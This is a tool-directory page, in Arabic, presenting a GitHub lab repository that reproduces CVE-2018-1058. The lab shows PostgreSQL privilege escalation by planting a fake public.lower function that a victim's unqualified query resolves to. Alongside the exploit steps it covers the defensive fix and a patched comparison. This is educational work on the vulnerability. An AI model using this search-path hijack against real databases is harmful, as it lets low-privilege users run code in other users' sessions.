Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2018-1058 — عرض توضيحي قابل للتكرار يعتمد على Docker لتصعيد الامتيازات في PostgreSQL عبر CVE-2018-1058 باستخدام مسار بحث غير متحكم به، مع مقارنة بين البيئة الضعيفة والمصححة. | Kitploit
أدوات/GitHubGitHub/ccchme/cve-2018-1058
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالالتعلم والتعليمأمن قواعد البياناتمختبرات وتدريب عملي
GitHubccchme/cve-2018-1058

CVE-2018-1058

عرض توضيحي قابل للتكرار يعتمد على Docker لتصعيد الامتيازات في PostgreSQL عبر CVE-2018-1058 باستخدام مسار بحث غير متحكم به، مع مقارنة بين البيئة الضعيفة والمصححة.

عرض المستودع
منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2018-1058 — توضيح مسار البحث في PostgreSQL

يحتوي هذا المستودع على التقرير النهائي والمواد القابلة للتكرار من أجل:

CVE-2018-1058: تصعيد الامتيازات في PostgreSQL من خلال مسار بحث غير متحكم فيه

الهدف هو توضيح فشل الثقة في مسار البحث وراء CVE-2018-1058 باستخدام بيئة Docker محلية آمنة.

العرض التوضيحي لا يعيد إنتاج مسار تنفيذ pg_dump التاريخي بالضبط. بدلاً من ذلك، فإنه يعيد إنتاج نفس السبب الجذري الموصوف في إرشادات PostgreSQL: يحتوي مخطط قابل للكتابة من قبل المهاجم على كائن مشابه، وتقوم جلسة أخرى بحل اسم غير مؤهل إلى ذلك الكائن.


1. المحتويات

root@kitploit:~
.
├── report.pdf
├── docker-compose.yml
├── README.md
└── scripts/
    ├── init.sql
    ├── init_safe.sql
    ├── exploit.sql
    ├── victim_query.sql
    ├── verify_qualify.sql
    └── fix.sql

التقرير النهائي هو report.pdf. يتضمن التحليل الكتابي ولقطات الشاشة المقابلة للمخرجات المتوقعة أدناه.

لا حاجة لملف Dockerfile. يستخدم المشروع صور postgres الرسمية.

لقطات الشاشة مضمنة مباشرة في report.pdf، لذا فهي غير متوفرة كملفات صور منفصلة.

2. المتطلبات

قم بتثبيت:

  • Docker
  • Docker Compose
  • عميل psql، اختياري لكن موصى به

يستخدم العرض التوضيحي حاويتين من PostgreSQL:

تأكد من أن المنفذين 15432 و 15433 متاحين.

نظرة عامة على التشغيل السريع

ترتيب التنفيذ المتوقع هو:

  1. ابدأ خدمة PostgreSQL 10.2 الضعيفة.
  2. قم بتشغيل exploit.sql كمستخدم attacker.
  3. قم بتشغيل victim_query.sql كمستخدم victim ولاحظ البادئة CVE-2018-1058 DEMO:.
  4. قم بتشغيل verify_qualify.sql كمستخدم victim ولاحظ الإخراج العادي بالأحرف الصغيرة.
  5. قم بتشغيل fix.sql كمستخدم postgres.
  6. أعد تشغيل victim_query.sql ولاحظ الإخراج العادي بالأحرف الصغيرة.
  7. ابدأ خدمة PostgreSQL 10.3 المُحصّنة.
  8. أعد تشغيل exploit.sql على المنفذ 15433 ولاحظ permission denied for schema public.

3. بدء البيئة الضعيفة

root@kitploit:~
docker compose up -d pg_vulnerable
docker compose ps

النتيجة المتوقعة: يجب أن تكون الخدمة pg_vulnerable قيد التشغيل ومربوطة بالمنفذ 15432.

تحقق من إصدار PostgreSQL:

root@kitploit:~
docker exec -it cve1058_pg_vulnerable psql -U postgres -d demo_cve1058 -c "SELECT version();"

النتيجة المتوقعة: PostgreSQL 10.2.

4. فحص أدوار قاعدة البيانات

root@kitploit:~
docker exec -it cve1058_pg_vulnerable psql -U postgres -d demo_cve1058 -c "\du"

الأدوار المتوقعة:

  • postgres
  • attacker
  • victim

المهاجم ليس مستخدمًا خارقًا لـ PostgreSQL.

5. تشغيل الاستغلال

قم بتشغيل سكريبت المهاجم:

root@kitploit:~
PGPASSWORD='AttackerPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U attacker -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/exploit.sql

الإخراج المتوقع:

root@kitploit:~
CREATE TABLE
GRANT
GRANT
CREATE FUNCTION

يؤدي هذا إلى إنشاء:

  • جدول غير ضار public.exploit_log؛
  • دالة مزيفة public.lower(varchar).

6. تحفيز السلوك الضعيف كضحية

root@kitploit:~
PGPASSWORD='VictimPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U victim -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/victim_query.sql

الإخراج المتوقع:

root@kitploit:~
CVE-2018-1058 DEMO: Alice Demo
CVE-2018-1058 DEMO: Bob Demo

يظهر هذا أن استعلام الضحية العادي قام بحل lower(...) إلى الدالة المسيطر عليها من قبل المهاجم.

7. تأكيد التأثير الجانبي

root@kitploit:~
PGPASSWORD='AttackerPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U attacker -d demo_cve1058 \
-c "TABLE public.exploit_log;"

النتيجة المتوقعة: صفان على الأقل في public.exploit_log، واحد لكل صف معالج بواسطة استعلام الضحية.

8. إظهار التأهيل الدفاعي

root@kitploit:~
PGPASSWORD='VictimPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U victim -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/verify_qualify.sql

الإخراج المتوقع:

root@kitploit:~
alice demo
bob demo

يعمل هذا لأن pg_catalog.lower(...) يجبر PostgreSQL على استخدام الدالة المضمنة.

9. تطبيق الإصلاح على الحاوية الضعيفة

root@kitploit:~
PGPASSWORD='postgres' \
psql -h 127.0.0.1 -p 15432 -U postgres -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/fix.sql

قد يتضمن الإخراج المتوقع:

root@kitploit:~
DROP FUNCTION
DROP TABLE
REVOKE
REVOKE

ثم أعد تشغيل استعلام الضحية:

root@kitploit:~
PGPASSWORD='VictimPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U victim -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/victim_query.sql

الإخراج المتوقع:

root@kitploit:~
alice demo
bob demo

الدالة المسيطر عليها من قبل المهاجم قد اختفت، ويعيد الاستعلام سلاسل عادية بأحرف صغيرة.

10. بدء البيئة المُحصّنة

root@kitploit:~
docker compose up -d pg_fixed
docker compose ps

تحقق من الإصدار:

root@kitploit:~
docker exec -it cve1058_pg_fixed psql -U postgres -d demo_cve1058 -c "SELECT version();"

النتيجة المتوقعة: PostgreSQL 10.3.

11. التحقق من فشل الاستغلال على البيئة المُحصّنة

root@kitploit:~
PGPASSWORD='AttackerPw!ChangeMe' \
psql -h 127.0.0.1 -p 15433 -U attacker -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/exploit.sql

الإخراج المتوقع:

root@kitploit:~
ERROR: permission denied for schema public

هذا يعني أن المهاجم لا يمكنه إنشاء الدالة المزيفة في public، لذا تتوقف سلسلة الهجوم قبل حل الاسم.

12. التنظيف

لإيقاف الحاويات:

root@kitploit:~
docker compose down

لإزالة وحدات التخزين وإعادة تعيين المشروع بالكامل:

root@kitploit:~
docker compose down -v

13. ملاحظات

هذا العرض التوضيحي غير ضار عن قصد. لا يسرق البيانات، ولا يصل إلى الملفات، ولا ينفذ أوامر نظام التشغيل.

يستخدم الاستغلال بادئة سلسلة مرئية وجدول سجل لإثبات أن PostgreSQL قام بحل اسم دالة غير مؤهل إلى كائن مسيطر عليه من قبل المهاجم.

يتعلق CVE الرسمي بـ pg_dump وتطبيقات العميل الأخرى. يوضح هذا المستودع نفس فشل الثقة في مسار البحث في بيئة دراسية آمنة وقابلة للتكرار.

14. استكشاف الأخطاء وإصلاحها

إذا كان المنفذ مستخدمًا بالفعل، أوقف أي خدمة PostgreSQL محلية أو غيّر منافذ المضيف في docker-compose.yml.

إذا لم يتطابق الإخراج مع النتائج المتوقعة، أعد تعيين البيئة باستخدام:

root@kitploit:~
docker compose down -v
docker compose up -d pg_vulnerable

إذا لم يكن psql مثبتًا محليًا، فلا يزال بإمكانك تشغيل أوامر فحص الإصدار والأدوار باستخدام docker exec داخل الحاويات.

إذا فشل الاستغلال على pg_vulnerable، تأكد من إعادة تعيين قاعدة البيانات وأن scripts/exploit.sql يتم تنفيذه قبل scripts/fix.sql.

15. المراجع

  • إعلان PostgreSQL CVE-2018-1058: https://www.postgresql.org/support/security/CVE-2018-1058/
  • ويكي PostgreSQL، دليل إلى CVE-2018-1058: https://wiki.postgresql.org/wiki/A_Guide_to_CVE-2018-1058:_Protect_Your_Search_Path
  • ملاحظات إصدار PostgreSQL 10.3: https://www.postgresql.org/docs/release/10.3/
  • NVD CVE-2018-1058: https://nvd.nist.gov/vuln/detail/CVE-2018-1058
  • MITRE CVE-2018-1058: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1058
تنزيل الأداة
الخدمةالإصداراسم الحاويةالمنفذ المضيفالغرض
pg_vulnerablePostgreSQL 10.2cve1058_pg_vulnerable15432عرض توضيحي ضعيف
pg_fixedPostgreSQL 10.3cve1058_pg_fixed15433مقارنة مصححة/مُحصّنة